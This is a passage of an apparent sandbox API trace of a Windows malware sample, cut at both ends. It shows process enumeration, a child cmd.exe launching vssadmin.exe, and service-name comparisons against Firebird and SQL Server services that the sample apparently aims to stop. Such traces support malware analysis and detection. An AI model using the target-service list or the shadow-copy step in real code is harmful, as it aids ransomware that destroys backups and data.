lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.412] lstrlenW (lpString="svchost.exe") returned 11 [0055.412] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.413] lstrlenW (lpString="audiodg.exe") returned 11 [0055.413] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.413] lstrlenW (lpString="svchost.exe") returned 11 [0055.413] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.414] lstrlenW (lpString="svchost.exe") returned 11 [0055.414] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.414] lstrlenW (lpString="dwm.exe") returned 7 [0055.415] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.415] lstrlenW (lpString="explorer.exe") returned 12 [0055.415] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.416] lstrlenW (lpString="spoolsv.exe") returned 11 [0055.416] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.416] lstrlenW (lpString="taskhost.exe") returned 12 [0055.416] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.417] lstrlenW (lpString="svchost.exe") returned 11 [0055.417] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.417] lstrlenW (lpString="taskeng.exe") returned 11 [0055.417] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.418] lstrlenW (lpString="taskhost.exe") returned 12 [0055.418] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0055.418] lstrlenW (lpString="promotesrouting.exe") returned 19 [0055.418] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0055.419] lstrlenW (lpString="rxcalled.exe") returned 12 [0055.419] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0055.419] lstrlenW (lpString="off.exe") returned 7 [0055.419] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0055.642] lstrlenW (lpString="mayorintl.exe") returned 13 [0055.642] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0055.643] lstrlenW (lpString="gzip-june.exe") returned 13 [0055.643] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0055.643] lstrlenW (lpString="lsnavy.exe") returned 10 [0055.643] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0055.644] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0055.644] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0055.644] lstrlenW (lpString="specifications.exe") returned 18 [0055.644] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0055.645] lstrlenW (lpString="soup-mario.exe") returned 14 [0055.645] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0055.645] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0055.645] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0055.646] lstrlenW (lpString="platformsprivate.exe") returned 20 [0055.646] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0055.647] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0055.647] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0055.647] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0055.647] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0055.648] lstrlenW (lpString="scan-allows.exe") returned 15 [0055.648] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0055.648] lstrlenW (lpString="mwprovince.exe") returned 14 [0055.649] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0055.649] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0055.649] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0055.650] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0055.650] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0055.650] lstrlenW (lpString="contacting.exe") returned 14 [0055.650] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0055.651] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0055.651] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0055.651] lstrlenW (lpString="jpmanagers.exe") returned 14 [0055.651] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0055.652] lstrlenW (lpString="motor.exe") returned 9 [0055.652] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0055.652] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0055.652] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0055.653] lstrlenW (lpString="toshiba.exe") returned 11 [0055.653] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.653] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.653] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0055.654] lstrlenW (lpString="mobsync.exe") returned 11 [0055.654] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0055.654] lstrlenW (lpString="3G6885.exe") returned 10 [0055.655] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.655] lstrlenW (lpString="cmd.exe") returned 7 [0055.655] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.656] lstrlenW (lpString="conhost.exe") returned 11 [0055.656] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0055.656] lstrlenW (lpString="vssadmin.exe") returned 12 [0055.656] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0055.657] lstrlenW (lpString="VSSVC.exe") returned 9 [0055.657] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.658] lstrlenW (lpString="svchost.exe") returned 11 [0055.658] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0055.658] CloseHandle (hObject=0x1f4) returned 1 [0055.658] Sleep (dwMilliseconds=0x1f4) [0056.485] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63fbf8 [0056.485] EnumServicesStatusExW (in: hSCManager=0x63fbf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0056.486] GetLastError () returned 0xea [0056.486] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x3f00060 [0056.486] EnumServicesStatusExW (in: hSCManager=0x63fbf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f00060, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f00060, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0056.487] CloseServiceHandle (hSCObject=0x63fbf8) returned 1 [0056.487] lstrlenW (lpString="Appinfo") returned 7 [0056.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0056.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0056.487] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0056.487] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0056.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0056.488] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0056.488] lstrlenW (lpString="AudioSrv") returned 8 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0056.488] lstrlenW (lpString="BFE") returned 3 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0056.488] lstrlenW (lpString="CryptSvc") returned 8 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0056.488] lstrlenW (lpString="CscService") returned 10 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0056.489] lstrlenW (lpString="DcomLaunch") returned 10 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0056.489] lstrlenW (lpString="Dhcp") returned 4 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0056.489] lstrlenW (lpString="Dnscache") returned 8 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0056.489] lstrlenW (lpString="DPS") returned 3 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0056.490] lstrlenW (lpString="eventlog") returned 8 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0056.490] lstrlenW (lpString="EventSystem") returned 11 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0056.490] lstrlenW (lpString="gpsvc") returned 5 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0056.490] lstrlenW (lpString="iphlpsvc") returned 8 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0056.491] lstrlenW (lpString="LanmanServer") returned 12 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0056.491] lstrlenW (lpString="LanmanWorkstation") returned 17 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0056.491] lstrlenW (lpString="lmhosts") returned 7 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0056.491] lstrlenW (lpString="MMCSS") returned 5 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0056.492] lstrlenW (lpString="MpsSvc") returned 6 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0056.492] lstrlenW (lpString="Netman") returned 6 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0056.492] 